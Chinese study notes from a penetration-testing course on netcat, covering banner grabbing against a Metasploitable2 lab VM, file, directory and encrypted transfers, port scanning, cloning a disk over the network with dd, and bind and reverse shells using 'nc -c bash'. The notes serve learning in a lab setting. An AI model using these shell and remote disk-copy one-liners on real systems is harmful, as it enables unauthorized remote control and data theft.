kali linux 渗透测试 第五章 netcat--nc

继续记笔记~~~

有了netcat,可以不用telnet了
nc的作用:
侦听模式 / 传输模式
telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文文件
远程控制/木木⻢马
加密所有流量
流媒体服务器
远程克隆硬盘

-v:显示详细的连接信息(输出内容)
-n:不会进行DNS解析

例如nc 隔壁服务器metasploitable2的域名

root@quedgee:~# nc -vn 172.16.43.139 80
(UNKNOWN) [172.16.43.139] 80 (http) open

当输入head,则返回头文件

root@quedgee:~# nc -vn 172.16.43.139 80
(UNKNOWN) [172.16.43.139] 80 (http) open
head
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>

若要实现“聊天”功能,在两台机器上使用与演示:
A(服务器):先要开放(侦听)一个端口
B(客户):作为客户端连接,产生tcp的连接
(333代指某一个端口)
A:nc -l -p 333
B:nc -vn 1.1.1.1 333

在服务器端 nc -l -p 333 打开后,可以用以下命令查看333端口是否开启

root@quedgee:~# netstat -pantu | grep 333
tcp        0      0 0.0.0.0:333             0.0.0.0:*               LISTEN      3730/nc  

发现是LISIEN的,于是可以在另一台机子(客户)上使用

root@quedgee:~# nc -vn 192.168.153.141 333
(UNKNOWN) [192.168.153.141] 333 (?) open

于是可以开始进行通信了
客户端输入hello,服务器端收到并返回个what
客户端:

root@quedgee:~# nc -vn 192.168.153.141 334
(UNKNOWN) [192.168.153.141] 334 (?) open
hello
what?

服务器端:

root@quedgee:~# nc -l -p 334
hello
what?

通过这些功能实现电子取证
比方我想在客户端传输文件

root@quedgee:~# ls -l | nc -vn 192.168.153.141 335
(UNKNOWN) [192.168.153.141] 335 (?) open

服务器端会有(条件是服务器端得先打开端口侦听)

root@quedgee:~# nc -l -p 335
总用量 4540
-rw------- 1 root root 5578752 1021 21:28 core
drwxr-xr-x 2 root root    4096 1021 21:34 Desktop
drwxr-xr-x 3 root root    4096 117 18:42 Documents
drwxr-xr-x 2 root root    4096 1022 13:17 Downloads
drwxr-xr-x 2 root root    4096 422  2017 Music
drwxr-xr-x 2 root root    4096 1021 21:33 Pictures
drwxr-xr-x 2 root root    4096 422  2017 Public
drwxr-xr-x 2 root root    4096 422  2017 Templates
drwxr-xr-x 2 root root    4096 422  2017 Videos

如果我想把客户端的进程信息传输到服务器端
客户端:(-q 1 的意思是等一秒钟自动断开连接,表示已经完成)

root@quedgee:~# ps aux | nc -nv 192.168.153.141 333 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open

此时服务器端已经生成了ps.txt

root@quedgee:~# nc -l -p 333 > ps.txt
root@quedgee:~# ls
core  Desktop  Documents  Downloads  Music  Pictures  ps.txt  Public  Templates  Videos

传输文件
A:nc -lp 333 > 1mp4(如同一个可上传文件的ftp服务器)
B:nc -vn 192.168.153.141 333 < 1.mp4 -q 1

传输端B

root@quedgee:~/Desktop# nc -vn 192.168.153.141 333 < 1.mp4 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open

接收端A

root@quedgee:~# nc -lp 333 > 1.mp4
root@quedgee:~# ls
1.mp4  Desktop    Downloads  Music     ps.txt  Templates
core   Documents  lsof.txt   Pictures  Public  Videos

接收端和传输端的角色可以互相转换,倘若服务器端开了端口并作为传输端,相当于是开了端口,等着有人来连接,一连接内容便流到客户端

root@quedgee:~# nc -lp 333 < 1.mp4
root@quedgee:~/Desktop# nc -vn 192.168.153.141 333 > a.mp4 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open

客户端一连接,就把服务器端的1.mp4,保存为a.mp4

传输目录

A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –

具体思路:服务器端把music目录打包后的结果传到管道里,客户端收到后解包
服务器端:

root@quedgee:~/Desktop# tar -cvf - music/ | nc -lp 333 -q 1
music/
music/a.mp4
music/1.mp4

客户端:

root@quedgee:~# nc -vn 192.168.153.141 333 | tar xvf -
(UNKNOWN) [192.168.153.141] 333 (?) open
music/
music/a.mp4
music/1.mp4
root@quedgee:~# ls
1.mp4 Desktop Downloads music Pictures Public Videos
core Documents lsof.txt Music ps.txt Templates
root@quedgee:~# cd music
root@quedgee:~/music# ls -l
总用量 8
-rw-r–r– 1 root root 3 11月 7 21:26 1.mp4
-rw-r–r– 1 root root 3 11月 7 21:30 a.mp4

加密文件传输:
和传输目录的思想类似,例子是对称加密算法
在A 端解密,在B端加密

A:nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

流媒体传输

A:cat 1.mp4 | nc -lp 333
B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

服务器端把1.mp4以流的形式一点一点“流进”客户端
其中mplayer需要在kali上安装

NC-端口扫描

  • z:端口扫描(探测tcp的端口)
    加上 -u:可以看所有UDP的端口
    比方说看自己的端口开启状态
root@quedgee:~# nc -vnz 192.168.153.141 1-100
(UNKNOWN) [192.168.153.141] 80 (http) open

nc的扫描功能只有-z,扫描功能不如nmap那么全面

NC——远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
远程电子子取证,可以将目标服务器硬盘远程复制,或者内存。
通过这种方法,拷贝的文件的一模一样
dd命令可以实现块(硬盘)级别的复制
B端为被取证端,A端为接收端,相当于把B端的东西备份到A端

NC远程控制
windows下是通过打开本机的3389远程桌面的端口,对服务器进行远程管理

正向:
• A:nc -lp 333 -c bash
• B:nc 1.1.1.1 333
反向:
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用用户把bash改成cmd;

A 端(服务器)先侦听333端口,-c命令实现远程控制,等着有人来连。连上后,通过在客户端就可以查看服务器端的内容,比如ls,或者输入 init6 命令重启。

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值